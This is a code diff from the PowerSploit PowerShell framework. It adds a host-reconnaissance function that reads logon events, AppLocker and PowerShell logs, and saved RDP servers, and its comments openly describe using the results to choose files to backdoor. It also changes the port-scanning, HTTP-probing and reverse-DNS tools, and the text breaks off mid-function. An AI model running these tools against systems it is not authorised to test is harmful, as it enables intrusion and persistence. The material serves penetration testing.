* Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement.
* Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.
* Scripts that are intended to run on a remote machine should be self-contained and not rely upon any additional scripts. Scripts that are designed to run on your host machine can have dependencies on other scripts.
* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output.
* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output.
+574
View File
@@ -0,0 +1,574 @@
function Get-ComputerDetail
{
<#
.SYNOPSIS
This script is used to get useful information from a computer.
Function: Get-ComputerDetail
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This script is used to get useful information from a computer. Currently, the script gets the following information:
-Explicit Credential Logons (Event ID 4648)
-Logon events (Event ID 4624)
-AppLocker logs to find what processes are created
-PowerShell logs to find PowerShell scripts which have been executed
-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to
.PARAMETER ToString
Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor.
.EXAMPLE
Get-ComputerDetail
Gets information about the computer and outputs it as PowerShell objects.
Get-ComputerDetail -ToString
Gets information about the computer and outputs it as raw text.
.NOTES
This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to.
You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files.
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
Param(
[Parameter(Position=0)]
[Switch]
$ToString
)
Set-StrictMode -Version 2
$SecurityLog = Get-EventLog -LogName Security
$Filtered4624 = Find-4624Logon $SecurityLog
$Filtered4648 = Find-4648Logon $SecurityLog
$AppLockerLogs = Find-AppLockerLog
$PSLogs = Find-PSScriptsInPSAppLog
$RdpClientData = Find-RDPClientConnection
if ($ToString)
{
Write-Output "Event ID 4624 (Logon):"
Write-Output $Filtered4624.Values | Format-List
Write-Output "Event ID 4648 (Explicit Credential Logon):"
Write-Output $Filtered4648.Values | Format-List
Write-Output "AppLocker Process Starts:"
Write-Output $AppLockerLogs.Values | Format-List
Write-Output "PowerShell Script Executions:"
Write-Output $PSLogs.Values | Format-List
Write-Output "RDP Client Data:"
Write-Output $RdpClientData.Values | Format-List
}
else
{
$Properties = @{
LogonEvent4624 = $Filtered4624.Values
LogonEvent4648 = $Filtered4648.Values
AppLockerProcessStart = $AppLockerLogs.Values
PowerShellScriptStart = $PSLogs.Values
RdpClientData = $RdpClientData.Values
}
$ReturnObj = New-Object PSObject -Property $Properties
return $ReturnObj
}
}
function Find-4648Logon
{
<#
.SYNOPSIS
Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful
for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action.
Function: Find-4648Logon
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful
for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action.
.EXAMPLE
Find-4648Logon
Gets the unique 4648 logon events.
.NOTES
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
Param(
$SecurityLog
)
$ExplicitLogons = $SecurityLog | Where-Object {$_.InstanceID -eq 4648}
$ReturnInfo = @{}
foreach ($ExplicitLogon in $ExplicitLogons)
{
$Subject = $false
$AccountWhosCredsUsed = $false
$TargetServer = $false
$SourceAccountName = ""
$SourceAccountDomain = ""
$TargetAccountName = ""
$TargetAccountDomain = ""
$TargetServer = ""
foreach ($line in $ExplicitLogon.Message -split "\r\n")
{
if ($line -cmatch "^Subject:$")
{
$Subject = $true
}
elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$")
{
$Subject = $false
$AccountWhosCredsUsed = $true
}
elseif ($line -cmatch "^Target\sServer:")
{
$AccountWhosCredsUsed = $false
$TargetServer = $true
}
elseif ($Subject -eq $true)
{
if ($line -cmatch "\s+Account\sName:\s+(\S.*)")
{
$SourceAccountName = $Matches[1]
}
elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)")
{
$SourceAccountDomain = $Matches[1]
}
}
elseif ($AccountWhosCredsUsed -eq $true)
{
if ($line -cmatch "\s+Account\sName:\s+(\S.*)")
{
$TargetAccountName = $Matches[1]
}
elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)")
{
$TargetAccountDomain = $Matches[1]
}
}
elseif ($TargetServer -eq $true)
{
if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)")
{
$TargetServer = $Matches[1]
}
}
}
#Filter out logins that don't matter
if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$"))
{
$Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer
if (-not $ReturnInfo.ContainsKey($Key))
{
$Properties = @{
LogType = 4648
LogSource = "Security"
SourceAccountName = $SourceAccountName
SourceDomainName = $SourceAccountDomain
TargetAccountName = $TargetAccountName
TargetDomainName = $TargetAccountDomain
TargetServer = $TargetServer
Count = 1
Times = @($ExplicitLogon.TimeGenerated)
}
$ResultObj = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $ResultObj)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated
}
}
}
return $ReturnInfo
}
function Find-4624Logon
{
<#
.SYNOPSIS
Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do
network logons in to the server, what accounts RDP in, what accounts log in locally, etc...
Function: Find-4624Logon
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do
network logons in to the server, what accounts RDP in, what accounts log in locally, etc...
.EXAMPLE
Find-4624Logon
Find unique 4624 logon events.
.NOTES
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
Param (
$SecurityLog
)
$Logons = $SecurityLog | Where-Object {$_.InstanceID -eq 4624}
$ReturnInfo = @{}
foreach ($Logon in $Logons)
{
$SubjectSection = $false
$NewLogonSection = $false
$NetworkInformationSection = $false
$AccountName = ""
$AccountDomain = ""
$LogonType = ""
$NewLogonAccountName = ""
$NewLogonAccountDomain = ""
$WorkstationName = ""
$SourceNetworkAddress = ""
$SourcePort = ""
foreach ($line in $Logon.Message -Split "\r\n")
{
if ($line -cmatch "^Subject:$")
{
$SubjectSection = $true
}
elseif ($line -cmatch "^Logon\sType:\s+(\S.*)")
{
$LogonType = $Matches[1]
}
elseif ($line -cmatch "^New\sLogon:$")
{
$SubjectSection = $false
$NewLogonSection = $true
}
elseif ($line -cmatch "^Network\sInformation:$")
{
$NewLogonSection = $false
$NetworkInformationSection = $true
}
elseif ($SubjectSection)
{
if ($line -cmatch "^\s+Account\sName:\s+(\S.*)")
{
$AccountName = $Matches[1]
}
elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)")
{
$AccountDomain = $Matches[1]
}
}
elseif ($NewLogonSection)
{
if ($line -cmatch "^\s+Account\sName:\s+(\S.*)")
{
$NewLogonAccountName = $Matches[1]
}
elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)")
{
$NewLogonAccountDomain = $Matches[1]
}
}
elseif ($NetworkInformationSection)
{
if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)")
{
$WorkstationName = $Matches[1]
}
elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)")
{
$SourceNetworkAddress = $Matches[1]
}
elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)")
{
$SourcePort = $Matches[1]
}
}
}
#Filter out logins that don't matter
if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager"))
{
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
if (-not $ReturnInfo.ContainsKey($Key))
{
$Properties = @{
LogType = 4624
LogSource = "Security"
SourceAccountName = $AccountName
SourceDomainName = $AccountDomain
NewLogonAccountName = $NewLogonAccountName
NewLogonAccountDomain = $NewLogonAccountDomain
LogonType = $LogonType
WorkstationName = $WorkstationName
SourceNetworkAddress = $SourceNetworkAddress
SourcePort = $SourcePort
Count = 1
Times = @($Logon.TimeGenerated)
}
$ResultObj = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $ResultObj)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
}
}
}
return $ReturnInfo
}
function Find-AppLockerLog
{
<#
.SYNOPSIS
Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run).
Function: Find-AppLockerLog
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run).
.EXAMPLE
Find-AppLockerLog
Find process creations from AppLocker logs.
.NOTES
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
$ReturnInfo = @{}
$AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 8002}
foreach ($Log in $AppLockerLogs)
{
$SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value)
$UserName = $SID.Translate( [System.Security.Principal.NTAccount])
$ExeName = $Log.Properties[10].Value
$Key = $UserName.ToString() + "::::" + $ExeName
if (!$ReturnInfo.ContainsKey($Key))
{
$Properties = @{
Exe = $ExeName
User = $UserName.Value
Count = 1
Times = @($Log.TimeCreated)
}
$Item = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $Item)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Log.TimeCreated
}
}
return $ReturnInfo
}
Function Find-PSScriptsInPSAppLog
{
<#
.SYNOPSIS
Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log).
You can then backdoor these scripts or do other malicious things.
Function: Find-AppLockerLog
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log).
You can then backdoor these scripts or do other malicious things.
.EXAMPLE
Find-PSScriptsInPSAppLog
Find unique PowerShell scripts being executed from the PowerShell operational log.
.NOTES
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
$ReturnInfo = @{}
$Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 4100}
foreach ($Log in $Logs)
{
$LogDetails = $Log.Message -split "`r`n"
$FoundScriptName = $false
foreach($Line in $LogDetails)
{
if ($Line -imatch "^\s*Script\sName\s=\s(.+)")
{
$ScriptName = $Matches[1]
$FoundScriptName = $true
}
elseif ($Line -imatch "^\s*User\s=\s(.*)")
{
$User = $Matches[1]
}
}
if ($FoundScriptName)
{
$Key = $ScriptName + "::::" + $User
if (!$ReturnInfo.ContainsKey($Key))
{
$Properties = @{
ScriptName = $ScriptName
UserName = $User
Count = 1
Times = @($Log.TimeCreated)
}
$Item = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $Item)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Log.TimeCreated
}
}
}
return $ReturnInfo
}
Function Find-RDPClientConnection
{
<#
.SYNOPSIS
Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user
usually RDP's to.
Function: Find-RDPClientConnection
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user usually RDP's to.
.EXAMPLE
Find-RDPClientConnection
Find unique saved RDP client connections.
.NOTES
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
#>
$ReturnInfo = @{}
New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null
#Attempt to enumerate the servers for all users
$Users = Get-ChildItem -Path "HKU:\"
foreach ($UserSid in $Users.PSChildName)
{
$Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue
foreach ($Server in $Servers)
{
$Server = $Server.PSChildName
$UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint
$Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint
if (!$ReturnInfo.ContainsKey($Key))
{
$SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid)
$User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value
$Properties = @{
CurrentUser = $User
Server = $Server
UsernameHint = $UsernameHint
}
$Item = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $Item)
}
}
}
return $ReturnInfo
}
+34 -30
View File
@@ -5,11 +5,11 @@ function Get-HttpStatus
Returns the HTTP Status Codes and full URL for specified paths.
PowerSploit Function: Get-HttpStatus
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Get-HttpStatus
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -42,7 +42,7 @@ C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL
.NOTES
HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error
.LINK
http://obscuresecurity.blogspot.com
@@ -64,49 +64,54 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
[Switch]
$UseSSL
)
if (Test-Path $Path) {
if ($UseSSL -and $Port -eq 0) {
# Default to 443 if SSL is specified but no port is specified
$Port = 443
} elseif ($Port -eq 0) {
}
elseif ($Port -eq 0) {
# Default to port 80 if no port is specified
$Port = 80
}
$TcpConnection = New-Object System.Net.Sockets.TcpClient
Write-Verbose "Path Test Succeeded - Testing Connectivity"
try {
# Validate that the host is listening before scanning
$TcpConnection.Connect($Target, $Port)
} catch {
}
catch {
Write-Error "Connection Test Failed - Check Target"
$Tcpconnection.Close()
Return
Return
}
$Tcpconnection.Close()
} else {
}
else {
Write-Error "Path Test Failed - Check Dictionary Path"
Return
}
if ($UseSSL) {
$SSL = 's'
# Ignore invalid SSL certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True }
} else {
}
else {
$SSL = ''
}
if (($Port -eq 80) -or ($Port -eq 443)) {
$PortNum = ''
} else {
}
else {
$PortNum = ":$Port"
}
# Check Http status for each entry in the doctionary file
foreach ($Item in Get-Content $Path) {
@@ -117,24 +122,23 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
$WebRequest = [System.Net.WebRequest]::Create($URI)
$WebResponse = $WebRequest.GetResponse()
$WebStatus = $WebResponse.StatusCode
$ResultObject += $ScanObject
$WebResponse.Close()
} catch {
}
catch {
$WebStatus = $Error[0].Exception.InnerException.Response.StatusCode
if ($WebStatus -eq $null) {
if (-not $WebStatus) {
# Not every exception returns a StatusCode.
# If that is the case, return the Status.
$WebStatus = $Error[0].Exception.InnerException.Status
}
}
}
$Result = @{ Status = $WebStatus;
URL = $WebTarget}
$ScanObject = New-Object -TypeName PSObject -Property $Result
Write-Output $ScanObject
}
}
}
File diff suppressed because it is too large Load Diff
+83 -22
View File
@@ -1,24 +1,20 @@
function Invoke-Portscan
function Invoke-Portscan
{
<#
.SYNOPSIS
Simple portscan module
PowerSploit Function: Invoke-Portscan
Author: Rich Lundeen (http://webstersProdigy.net)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Invoke-Portscan
Author: Rich Lundeen (http://webstersProdigy.net)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Does a simple port scan using regular sockets, based (pretty) loosely on nmap
.NOTES
version .13
.PARAMETER Hosts
Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in
@@ -118,7 +114,7 @@ Force Overwrite if output Files exist. Otherwise it throws exception
.EXAMPLE
C:\PS> Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
Description
-----------
@@ -126,7 +122,7 @@ Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and m
.EXAMPLE
C:\PS> echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
Description
-----------
@@ -134,7 +130,7 @@ Does a portscan of "webstersprodigy.net", and writes a greppable output file
.EXAMPLE
C:\PS> Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
Description
-----------
@@ -145,7 +141,13 @@ Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all
http://webstersprodigy.net
#>
[CmdletBinding()]Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseLiteralInitializerForHashtable', '')]
[CmdletBinding()]
Param (
#Host, Ports
[Parameter(ParameterSetName="cmdHosts",
@@ -260,6 +262,8 @@ http://webstersprodigy.net
[String[]] $iHosts = $Hosts.Split(",")
$IPRangeRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
foreach($iHost in $iHosts)
{
$iHost = $iHost.Replace(" ", "")
@@ -313,6 +317,65 @@ http://webstersprodigy.net
}
}
if($iHost -match $IPRangeRegex)
{
$iHostPart1 = ($iHost.Split("-"))[0]
$iHostPart2 = ($iHost.Split("-"))[1]
$LowerBound = $iHostPart1.Split(".")
$UpperBound = $iHostPart2.Split(".")
$LowerBoundInt = ($LowerBound[0].ToInt32($null),$LowerBound[1].ToInt32($null),$LowerBound[2].ToInt32($null),$LowerBound[3].ToInt32($null))
$UpperBoundInt = ($UpperBound[0].ToInt32($null),$UpperBound[1].ToInt32($null),$UpperBound[2].ToInt32($null),$UpperBound[3].ToInt32($null))
$CurrentIP = $LowerBoundInt
$CurrentIPString = $null
$ControlArray = @(0,0,0,0)
$null = $hostList.Add($iHostPart1)
while($CurrentIPString -ne $iHostPart2)
{
for($i=0;$i -lt 4;$i++)
{
if(($CurrentIP[$i] -eq $UpperBoundInt[$i]) -and (($i -eq 0) -or $ControlArray[$i-1] -eq 1))
{
$ControlArray[$i] = 1
continue
}
else
{
$Max = 254
if(($i -ne 0) -and ($ControlArray[$i-1] -eq 1))
{
$Max = $UpperBoundInt[$i]
}
if(($i -ne 3) -and ($CurrentIP[$i+1] -eq 254))
{
$CurrentIP[$i]++
$CurrentIP[$i+1]=0
$CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString())
$null = $hostList.Add($CurrentIPString)
}
if(($i -eq 3) -and ($CurrentIP[$i] -lt $Max))
{
$CurrentIP[$i]++
$CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString())
$null = $hostList.Add($CurrentIPString)
}
}
}
}
}
else
{
@@ -647,14 +710,14 @@ http://webstersprodigy.net
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath
if ($Hosts)
if ($PsCmdlet.ParameterSetName -eq "cmdHosts")
{
foreach($h in $Hosts)
{
Parse-Hosts($h) | Out-Null
}
}
elseif ($HostFile)
else
{
Parse-ILHosts($HostFile) | Out-Null
}
@@ -752,9 +815,9 @@ http://webstersprodigy.net
#TODO deal with output
Write-PortscanOut -comment $startMsg -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream
#converting back from int array gives some argument error checking
$sPortList = [string]::join(",", $portList)
$sHostPortList = [string]::join(",", $hostPortList)
# #converting back from int array gives some argument error checking
# $sPortList = [string]::join(",", $portList)
# $sHostPortList = [string]::join(",", $hostPortList)
########
#Port Scan Code - run on a per host basis
@@ -844,7 +907,6 @@ http://webstersprodigy.net
$sockets[$p] = new-object System.Net.Sockets.TcpClient
}
$scriptBlockAsString = @"
#somewhat of a race condition with the timeout, but I don't think it matters
@@ -889,8 +951,7 @@ http://webstersprodigy.net
$timeouts[$p].Enabled = $true
$myscriptblock = [scriptblock]::Create($scriptBlockAsString)
$x = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null)
$Null = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null)
}
function PortScan-Alive
+159 -130
View File
@@ -5,23 +5,23 @@ function Invoke-ReverseDnsLookup
Perform a reverse DNS lookup scan on a range of IP addresses.
PowerSploit Function: Invoke-ReverseDnsLookup
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Invoke-ReverseDnsLookup
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test.
Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
.PARAMETER IPRange
Specifies the IP address range. The range provided can be in the form of a single IP address, a low-high range, or a CIDR range. Comma-delimited ranges may can be provided.
.EXAMPLE
C:\PS> Invoke-ReverseDnsLookup 74.125.228.0/29
Invoke-ReverseDnsLookup 74.125.228.0/29
IP HostName
-- --------
@@ -31,165 +31,194 @@ IP HostName
74.125.228.4 iad23s05-in-f4.1e100.net
74.125.228.5 iad23s05-in-f5.1e100.net
74.125.228.6 iad23s05-in-f6.1e100.net
Description
-----------
Returns the hostnames of the IP addresses specified by the CIDR range.
.EXAMPLE
C:\PS> Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6'
Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6'
IP HostName
-- --------
74.125.228.1 iad23s05-in-f1.1e100.net
74.125.228.4 iad23s05-in-f4.1e100.net
74.125.228.5 iad23s05-in-f5.1e100.net
74.125.228.6 iad23s05-in-f6.1e100.net
Description
-----------
Returns the hostnames of the IP addresses specified by the IP range specified.
.EXAMPLE
Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup
IP HostName
-- --------
74.125.228.1 iad23s05-in-f1.1e100.net
74.125.228.1 iad23s05-in-f1.1e100.net
74.125.228.2 iad23s05-in-f2.1e100.net
74.125.228.3 iad23s05-in-f3.1e100.net
74.125.228.4 iad23s05-in-f4.1e100.net
74.125.228.5 iad23s05-in-f5.1e100.net
74.125.228.6 iad23s05-in-f6.1e100.net
Description
-----------
Returns the hostnames of the IP addresses piped from another source.
.LINK
http://www.exploit-monday.com
https://github.com/mattifestation/PowerSploit
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $True)]
[Parameter(Position = 0, Mandatory = $True,ValueFromPipeline=$True)]
[String]
$IpRange
)
function Parse-IPList ([String] $IpRange)
{
function IPtoInt
BEGIN {
function Parse-IPList ([String] $IpRange)
{
Param([String] $IpString)
$Hexstr = ""
$Octets = $IpString.Split(".")
foreach ($Octet in $Octets) {
$Hexstr += "{0:X2}" -f [Int] $Octet
}
return [Convert]::ToInt64($Hexstr, 16)
}
function InttoIP
{
Param([Int64] $IpInt)
$Hexstr = $IpInt.ToString("X8")
$IpStr = ""
for ($i=0; $i -lt 8; $i += 2) {
$IpStr += [Convert]::ToInt64($Hexstr.SubString($i,2), 16)
$IpStr += '.'
}
return $IpStr.TrimEnd('.')
}
$Ip = [System.Net.IPAddress]::Parse("127.0.0.1")
foreach ($Str in $IpRange.Split(","))
{
$Item = $Str.Trim()
$Result = ""
$IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
# First, validate the input
switch -regex ($Item)
function IPtoInt
{
"^$IpRegex/\d{1,2}$"
{
$Result = "cidrRange"
break
}
"^$IpRegex-$IpRegex$"
{
$Result = "range"
break
}
"^$IpRegex$"
{
$Result = "single"
break
}
default
{
Write-Warning "Inproper input"
return
Param([String] $IpString)
$Hexstr = ""
$Octets = $IpString.Split(".")
foreach ($Octet in $Octets) {
$Hexstr += "{0:X2}" -f [Int] $Octet
}
return [Convert]::ToInt64($Hexstr, 16)
}
#Now, start processing the IP addresses
switch ($Result)
function InttoIP
{
"cidrRange"
{
$CidrRange = $Item.Split("/")
$Network = $CidrRange[0]
$Mask = $CidrRange[1]
if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return}
if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return}
$BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0')
#Generate lower limit (Excluding network address)
$Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1"
#Generate upperr limit (Excluding broadcast address)
$Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0"
$LowerInt = [Convert]::ToInt64($Lower, 2)
$UpperInt = [Convert]::ToInt64($Upper, 2)
for ($i = $LowerInt; $i -le $UpperInt; $i++) { InttoIP $i }
Param([Int64] $IpInt)
$Hexstr = $IpInt.ToString("X8")
$IpStr = ""
for ($i=0; $i -lt 8; $i += 2) {
$IpStr += [Convert]::ToInt64($Hexstr.SubString($i,2), 16)
$IpStr += '.'
}
"range"
return $IpStr.TrimEnd('.')
}
$Ip = [System.Net.IPAddress]::Parse("127.0.0.1")
foreach ($Str in $IpRange.Split(","))
{
$Item = $Str.Trim()
$Result = ""
$IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
# First, validate the input
switch -regex ($Item)
{
$Range = $item.Split("-")
if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip }
else { Write-Warning "Invalid IP address supplied!"; return }
if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip }
else { Write-Warning "Invalid IP address supplied!"; return }
$Left = (IPtoInt $Temp1.ToString())
$Right = (IPtoInt $Temp2.ToString())
if ($Right -gt $Left) {
for ($i = $Left; $i -le $Right; $i++) { InttoIP $i }
"^$IpRegex/\d{1,2}$"
{
$Result = "cidrRange"
break
}
"^$IpRegex-$IpRegex$"
{
$Result = "range"
break
}
"^$IpRegex$"
{
$Result = "single"
break
}
default
{
Write-Warning "Improper input"
return
}
else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return}
break
}
"single"
#Now, start processing the IP addresses
switch ($Result)
{
if ([System.Net.IPAddress]::TryParse($Item,[ref]$Ip)) { $Ip.IPAddressToString }
else { Write-Warning "Invalid IP address supplied!"; return }
break
}
default
{
Write-Warning "An error occured."
return
"cidrRange"
{
$CidrRange = $Item.Split("/")
$Network = $CidrRange[0]
$Mask = $CidrRange[1]
if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return}
if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return}
$BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0')
#Generate lower limit (Excluding network address)
$Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1"
#Generate upper limit (Excluding broadcast address)
$Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0"
$LowerInt = [Convert]::ToInt64($Lower, 2)
$UpperInt = [Convert]::ToInt64($Upper, 2)
for ($i = $LowerInt; $i -le $UpperInt; $i++) { InttoIP $i }
}
"range"
{
$Range = $item.Split("-")
if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip }
else { Write-Warning "Invalid IP address supplied!"; return }
if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip }
else { Write-Warning "Invalid IP address supplied!"; return }
$Left = (IPtoInt $Temp1.ToString())
